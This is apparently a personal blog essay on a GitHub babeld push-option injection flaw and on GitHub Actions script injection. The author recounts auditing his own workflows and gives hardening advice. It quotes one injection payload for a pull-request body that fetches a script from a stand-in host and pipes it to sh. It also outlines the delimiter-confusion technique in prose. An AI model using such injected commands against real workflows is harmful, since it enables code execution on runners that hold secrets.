In 2011 I worked at a tiny Stockholm agency. We deployed by FTP. Our entire CI was a Bash script someone wrote in 2007. The hardest security problem we had was remembering to disable directory listing on the staging server. The idea that a single git push could execute code on the server hosting our code never crossed my mind, because the server hosting our code was a VPS we paid 30 euros a month for, and the only thing it talked to was us.

I read the Wiz writeup on CVE-2026-3854 yesterday. The headline is "single git push is RCE on the server" and that is true, but the server in question is not yours. It is GitHub's. The vulnerable code lives in GitHub's internal git proxy, called babeld, and the issue is how user-supplied push options get inserted into internal service headers without proper sanitization. GitHub patched GitHub.com the same day Wiz reported it. Self-hosted GHES users need to upgrade to 3.14.24, 3.15.19, 3.16.15, 3.17.12, 3.18.6, or 3.19.3 or later. End users with workflows have nothing to audit for this specific bug.

That is the part that interests me, actually.

what the CVE actually does

You authenticate to GitHub. You run a normal git push, but you pass a crafted -o push option whose value contains a delimiter character that the internal header format also uses. Babeld parses the headers, gets confused about where your value ends and where its own metadata begins, and your payload becomes part of the privileged internal request. RCE on the backend. Cross-tenant exposure across the multi-tenant storage layer. CVSS 8.7.

Server-side parser confusion in 2026, on a piece of code that handles every git push on GitHub.com. The class of bug is older than my career.

I was there when we first started talking about user input crossing trust boundaries as a category. SQL injection was a Phrack article in the late 90s. Cross-site scripting got its name around 2000. Command injection in CI tooling has been getting CVEs since at least the Hudson era. Each generation of tooling rediscovers the same bug class because each generation hides the trust boundary inside something different. In 2011 it was hidden in string concatenation against a database. In 2026 it is hidden in header delimiters in a git proxy.

the trust boundary that keeps biting

After I finished reading the advisory I went and audited my own GitHub Actions workflows. Not for the babeld bug. That is GitHub's problem and GitHub already fixed it. I audited for the related bug class, the Actions script injection class, the one that has been getting CVEs filed against individual repos all year.

GitHub Actions takes untrusted input from the network, a pull request body, a branch name, a commit message, and interpolates that input into a shell script that runs with privileged tokens on a runner that has access to your secrets, your registry, your deployment surface. The interpolation happens before any sanitization the workflow author might choose to add. There is no boundary. The string ${{ github.event.pull_request.body }} becomes part of the script before bash ever sees it.

I went and looked at the GitHub Actions documentation page for security hardening. The guidance is technically there. It is also buried behind three navigation clicks and written in a passive tone that reads like a legal disclaimer. The default templates GitHub itself recommends in the marketplace do not follow it.

What connects this back to CVE-2026-3854 is the architectural shape. Babeld trusted user-supplied push options to stay inside their delimiter. Workflows trust user-supplied PR bodies to stay inside their string quoting. Neither system enforced the boundary at the parser layer. Both punted that responsibility to the layer above, and the layer above did not know it was supposed to be checking.

Fix the parser. Or accept that we'll keep getting CVEs. We have been making this trade for twenty-five years.

what I actually found in my audit

Twelve workflows across the projects I still maintain. Mostly things I shipped in the last four years at the product company I work for, plus a couple of side projects I have not deleted yet. Three of the twelve had direct interpolation of untrusted input into shell run blocks. All three were copies of templates I grabbed in 2023 and never looked at again.

Two more had the variant pattern. They quoted the input but the quoting happened in a way that bash unquotes correctly when the input contains a single quote. So a PR body containing '; curl evil.sh | sh; echo ' would still execute. I tested it on a private fork. It worked.

Five out of twelve. I have been writing software professionally for fifteen years and almost half of my GitHub Actions workflows had the same class of bug we have been writing about since I was finishing school.

I rewrote them all to use environment variables and quoted properly. The fix took an hour. The audit took longer because I had to read each workflow line by line and trace what came from where. My partner wandered into the room at some point and asked why I was not in bed. I told her I was auditing my CI. She said that did not sound like an emergency. She was right, but the Volvo was in the shop again and there was nothing else I wanted to do with my evening.

the pattern nobody is naming

To be precise. CVE-2026-3854 is not a GitHub Actions injection CVE. It is a babeld bug at the platform layer. But there have been several Actions injection CVEs filed against individual repos this year. LiveCode's i18n workflow. wenxian's issue_comment handling. jellyfin-ios's code-quality.yml. They all share the same shape. PR-controlled string lands in shell context. RCE on runner with secrets.

There will be another individual-repo Actions CVE in this class before October. The trust model is where the bug lives. Patching individual triggers is whack-a-mole.

I will call the underlying problem the Workflow Inheritance Problem. Workflows inherit trust from the repository they run in, but they execute strings from outside that repository as if those strings were trusted. That gap is where every Actions CVE in this class lives.

The babeld bug had the same failure mode at a different layer. That should make you slightly more nervous, not slightly less.

the question

If you run GHES, upgrade to a patched version this week. If you run GitHub Actions workflows and you have not audited them recently, do that too. Different bug class but the right headspace. Look for any run: block that contains a ${{ ... }} expression. Anything that pulls from pull_request , head_ref , body , title , or any user-controllable surface needs to go through env and be properly quoted.

Anyone telling you "just patch GHES and you're done" is telling you the truth about this CVE specifically. The next CVE is being written by somebody right now. It will be in workflows because workflows are where most of us actually expose attacker-controlled input to privileged execution surfaces.

I have watched this cycle three times now. The tools change, the frameworks change. The problems do not. The question is not whether GitHub will ship another CVE in this class. It is whether the platform will ever fix the layer where the bug actually lives, or whether we will all keep auditing our workflows after every disclosure because the layer above us never learned to draw the boundary.